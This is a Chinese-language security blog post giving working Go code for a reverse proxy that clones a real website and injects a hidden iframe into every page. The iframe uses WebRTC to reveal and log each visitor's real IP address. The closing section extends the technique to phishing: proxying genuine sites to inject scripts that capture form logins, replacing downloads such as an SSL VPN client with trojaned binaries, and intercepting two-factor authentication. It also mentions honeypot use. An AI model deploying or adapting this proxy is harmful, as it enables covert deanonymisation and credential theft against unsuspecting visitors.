0x01 背景说明
在某次项目中,由于获取到了非法网站的后台账号密码,但是没有后台管理人员的真实IP,导致项目无法进行下去,于是有了这篇文章,突破该点可以利用以下方式:
由于笔者当前使用golang比较多,就想到了可以使用golang的反代技术实现该项目是需求。那么分析下我们需要实现的几个小目标:
1、可以简单的进行反向代理
2、可以通过webrtc获取到代理后的真实IP
ps: 本文不对webrtc在不同浏览器、不同环境下无法利用的问题进行讨论。
0x02 代码实现
在golang中,可以很简单的去反向代理一个网站,因为golang中自带了一个NewSingleHostReverseProxy的方法,简单的实现代码如下:
package main
import (
"log"
"fmt"
"net/http"
"net/http/httputil"
"net/url"
)
func main() {
target, err := url.Parse("https://www.javaweb.org.cn")
if err != nil {
fmt.Println("err:", err)
return
}
fmt.Printf("反向代理站点 -> %s \n", target)
proxy := httputil.NewSingleHostReverseProxy(target)
d := proxy.Director
proxy.Director = func(r *http.Request) {
d(r) // 调用默认的director
r.Host = target.Host // 设置反向代理中request的host头信息
}
log.Fatal(http.ListenAndServe(":8888", proxy))
}
运行上面代码后,访问http://127.0.0.1:8888,就可以看到被代理的网站内容
可以看到很简单的就完成的反代这一小目标,当然我们不仅仅满足于当前结果,我们的目标还有要获取到真实IP,关于如何获取到代理后的真实IP,可以了解下webrtc技术,本文不科普webrtc技术如何获取到真实IP的原理,有兴趣的小伙伴可以到https://github.com/diafygi/webrtc-ips进行查看。
在已经有反向代理的前提下,那么要完成webrtc获取ip的模板,其实主要就是要修改反代后的网站源码,使其嵌入一个iframe,这样就可以神不知鬼不觉的达到欺骗+获取代理后真实IP的需求,具体实现的核心代码如下:
package core
import (
"bytes"
"fmt"
"github.com/gin-gonic/gin"
"io/ioutil"
"net/http"
"net/http/httputil"
"strconv"
"strings"
"time"
)
// response修改
func ModifyResponse(resp *http.Response) error {
var respBodyByte []byte
if resp.Header.Get("Location") != "" {
resp.Header.Set("Location", strings.ReplaceAll(resp.Header.Get("Location"),
fmt.Sprintf("%s://%s", scheme, host), WebDomain))
}
respBodyByte, err := ioutil.ReadAll(resp.Body)
if err != nil {
return err
}
err = resp.Body.Close()
if err != nil {
return err
}
if resp.Header.Get("Content-Encoding") == "gzip" {
resp.Header.Del("Content-Encoding")
respBodyByte = unGzip(respBodyByte)
}
// 实时打印代理情况
fmt.Println(time.Now().String(), resp.Request.Method, resp.Request.URL.String())
respBodyByte = bytes.Replace(respBodyByte, []byte("<body"), []byte(fmt.Sprintf(iframeContent, WebDomain, WebRtcPath)), -1)
respbody := ioutil.NopCloser(bytes.NewReader(respBodyByte))
resp.Body = respbody
resp.ContentLength = int64(len(respBodyByte))
resp.Header.Set("Content-Length", strconv.Itoa(len(respBodyByte)))
return nil
}
// 反向代理
func handleReverseProxy(ctx *gin.Context) {
director := func(req *http.Request) {
req.URL.Scheme = scheme
req.URL.Host = host
req.Host = host
}
proxy := &httputil.ReverseProxy{Director: director}
proxy.ModifyResponse = ModifyResponse
proxy.ServeHTTP(ctx.Writer, ctx.Request)
}
主要的核心就是使用对proxy.ModifyResponse的值改为我们自定义的方法ModifyResponse,在ModifyResponse中对response进行解析和修改,我们要实现当前项目的需求,最简单有效的办法就是替换所有<body该字符串为我们自定义的字符串,替换为
<body><iframe name='hideFrame' style="display:none;" src="%s/%s"></iframe></body><body
这样反代的网站是有两个body,但是不会影响布局以及展示内容,且将iframe进行隐藏不显示,让其在背后静默访问,最终效果如下图所示:
可以看到在第一个body中插入了我们的iframe,但是整个网页状态以及使用都是正常没有问题的。
同时二进制目录下会生成两个log文件,一个为访问日志,一个webrtc日志。
在访问后可以看webrtc.log日志文件,该日志内容中会将webrtc获取到的ip打印出来。
至此,我们的两个小目标都完成了。
0x03 抛砖引玉
我们可以思考下,既然可以修改返回包,那么是否是仅限于对于获取真实IP这样一种场景呢?答案肯定是否定的,在当前的钓鱼网站中,大家很多都是一个html+一个exe马,诱导下载执行,又或者是带表单提交的一个动态网站页面,诱导其输入账号密码。
为什么我们不能直接反向代理他真正的网站,通过注入js、修改html源码,来达到截取表单信息、替换二进制文件等过程呢?在可以反向代理+修改response包的情况下,最高效好用的就是,这个钓鱼网站就是真的,我们对真正存在的网站进行反向代理,整个系统所有所有的功能都可以正常运行,从而让受害者神不知鬼不觉的进入圈套。比如下图这种逻辑:
在研究这个方向的过程中,发现某信服sslvpn新版本打开后会强制要求下载sslvpn客户端,这样的话我们一个诱导性极强的域名+绑马的sslvpn客户端即可。对于其他的一些思路,大家可以在多想想看,比如是否可以绕过2fa认证?是否可以劫持2fa认证等方面的场景。
又或者,当做蜜罐,通过注入带有jsonp的脚本,可以直接获取到相关访问者的网络ID等信息,并且控制器在访问敏感路径或文件的时候直接返回404阻断其获取敏感信息。
0x04 相关源码
https://github.com/iiiusky/webrtc-proxy